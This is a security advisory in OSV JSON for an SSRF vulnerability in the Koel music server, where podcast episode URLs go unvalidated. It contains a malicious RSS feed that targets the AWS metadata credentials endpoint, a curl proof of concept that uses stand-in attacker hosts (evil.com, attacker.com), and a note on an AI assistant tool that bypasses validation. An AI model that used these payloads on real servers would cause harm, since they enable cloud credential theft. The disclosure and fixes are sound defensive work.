CVE-2026-47260: Phanan/koel Koel Vulnerable To SSRF Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7j2f-6h2r-6cqc",
  "modified" : "2026-06-12T22:01:12Z",
  "published" : "2026-05-29T19:56:06Z",
  "aliases" : [ "CVE-2026-47260" ],
  "summary" : "Koel Vulnerable to SSRF via Podcast Episode Enclosure URLs",
  "details" : "## Summary\n\nKoel validates the podcast feed URL via the `SafeUrl` rule (DNS resolution + public IP check), but the individual episode `<enclosure url=\"...\">` values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via `Http::sink()->get()` and streams it back to the user, enabling full-read SSRF against internal services.\n\n---\n\n## Vulnerability Details\n\n### Episode URL Stored Without Validation\n\n**File:** `app/Services/Podcast/PodcastService.php`, line 146\n\n```php\n'path' => $episodeValue->enclosure->url,  // Unvalidated URL from RSS XML\n```\n\nThe `SafeUrl` rule is applied to the podcast feed URL at subscription time (`SubscribeToPodcastRequest`), but episode enclosure URLs parsed from the feed XML are stored as-is.\n\n### SSRF Trigger: Full Content Download\n\n**File:** `app/Values/Podcast/EpisodePlayable.php`, line 42\n\n```php\nHttp::sink($file)->get($episode->path)->throw();\n```\n\nWhen an episode is played, `PodcastStreamerAdapter::stream()` first attempts `getStreamableUrl()` (OPTIONS/HEAD requests to the episode URL). If no CORS header is present (which internal services won't have), it falls through to `EpisodePlayable::createForEpisode()`, which downloads the full response body and streams it back to the user.\n\n### SafeUrl Applied Only to Feed URL\n\n**File:** `app/Http/Requests/API/Podcast/SubscribeToPodcastRequest.php`\n\n```php\npublic function rules(): array\n{\n    return ['url' => ['required', 'url:http,https', new SafeUrl]];\n}\n```\n\nThe `SafeUrl` rule (`app/Rules/SafeUrl.php`) validates scheme, DNS resolution to public IP, and effective URL after redirects. But this only protects the feed URL — not the content within the feed.\n\n---\n\n## Attack Flow\n\n1. Attacker registers an account (Community edition, no Plus required)\n2. Attacker hosts a malicious RSS feed on a public server:\n   ```xml\n   <rss version=\"2.0\">\n     <channel>\n       <title>Legit Podcast</title>\n       <item>\n         <title>Episode 1</title>\n         <enclosure url=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n                    type=\"audio/mpeg\" length=\"1000\"/>\n         <guid>ssrf-1</guid>\n       </item>\n     </channel>\n   </rss>\n   ```\n3. `POST /api/podcasts` with `url=https://evil.com/feed.xml` — passes `SafeUrl` (public URL)\n4. Koel parses feed, stores episode with `path = http://169.254.169.254/...`\n5. Attacker plays episode: `GET /play/{episode_id}`\n6. Server executes `Http::sink($file)->get(\"http://169.254.169.254/...\")`\n7. AWS metadata response downloaded to disk, streamed back to attacker\n\n---\n\n## Proof of Concept\n\n```bash\n#!/bin/bash\n# PoC: Koel SSRF via Podcast Episode Enclosure URL\n# Step 1: Host malicious RSS feed (feed.xml) on attacker server\n# Step 2: Subscribe to the podcast\n\nKOEL_URL=\"https://TARGET\"\nAPI_TOKEN=\"<api_token>\"\n\n# Subscribe to malicious podcast\ncurl -X POST \"$KOEL_URL/api/podcasts\" \\\n  -H \"Authorization: Bearer $API_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"https://attacker.com/feed.xml\"}'\n\n# List episodes to get the episode ID\nEPISODE_ID=$(curl -s \"$KOEL_URL/api/podcasts\" \\\n  -H \"Authorization: Bearer $API_TOKEN\" | jq -r '.[0].episodes[0].id')\n\n# Play the episode — triggers SSRF, returns internal service response\ncurl \"$KOEL_URL/play/$EPISODE_ID?api_token=$API_TOKEN\" -o response.bin\n\ncat response.bin\n# Expected: AWS metadata / internal service response\n```\n\n---\n\n## Impact\n\n- **Cloud credential theft:** Read AWS/GCP/Azure metadata endpoints (IAM credentials, tokens)\n- **Internal network reconnaissance:** Scan ports and enumerate internal HTTP services\n- **Data exfiltration:** Read responses from internal APIs, admin panels, databases with HTTP interfaces\n- **Full response body:** Unlike blind SSRF, the entire response is returned to the attacker\n\n---\n\n## Secondary Finding: SSRF Bypass via AI Radio Station Tool\n\n**File:** `app/Ai/Tools/AddRadioStation.php`, lines 35-38\n\nThe AI assistant's `AddRadioStation` tool creates radio stations by calling `RadioService::createRadioStation()` directly, bypassing the `SafeUrl` and `HasAudioContentType` validation rules that protect the REST API endpoint.\n\n**Impact:** Same SSRF but requires Plus license. CVSS 7.7 HIGH.\n\n---\n\n## Novelty Check\n\n- **No existing CVEs found for Koel** (searched NVD, GitHub Advisories, web)\n- **No SECURITY.md** in the repository\n- **This is a novel vulnerability**\n\n---\n\n## Remediation\n\n**Fix 1:** Validate episode enclosure URLs in `synchronizeEpisodes()`:\n\n```php\nforeach ($episodeCollection as $episodeValue) {\n    $enclosureUrl = $episodeValue->enclosure->url;\n    $host = parse_url($enclosureUrl, PHP_URL_HOST);\n    if (!$host || !Network::isPublicHost($host)) {\n        continue; // Skip episodes with non-public URLs\n    }\n    // ... rest of episode creation\n}\n```\n\n**Fix 2:** Defense-in-depth validation at playback time in `EpisodePlayable::createForEpisode()`.\n\n**Fix 3:** Add `SafeUrl` validation in `AddRadioStation` AI tool.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phanan/koel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "9.3.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 9.3.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-47260"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/koel/koel/commit/8708f077efd7d8a332b32e954d65bc837f3a413a"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/koel/koel/commit/be1e867982dcadefd4a75d768ce950b1d5234cdf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/koel/koel"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-29T19:56:06Z",
    "nvd_published_at" : "2026-06-12T20:16:46Z"
  }
}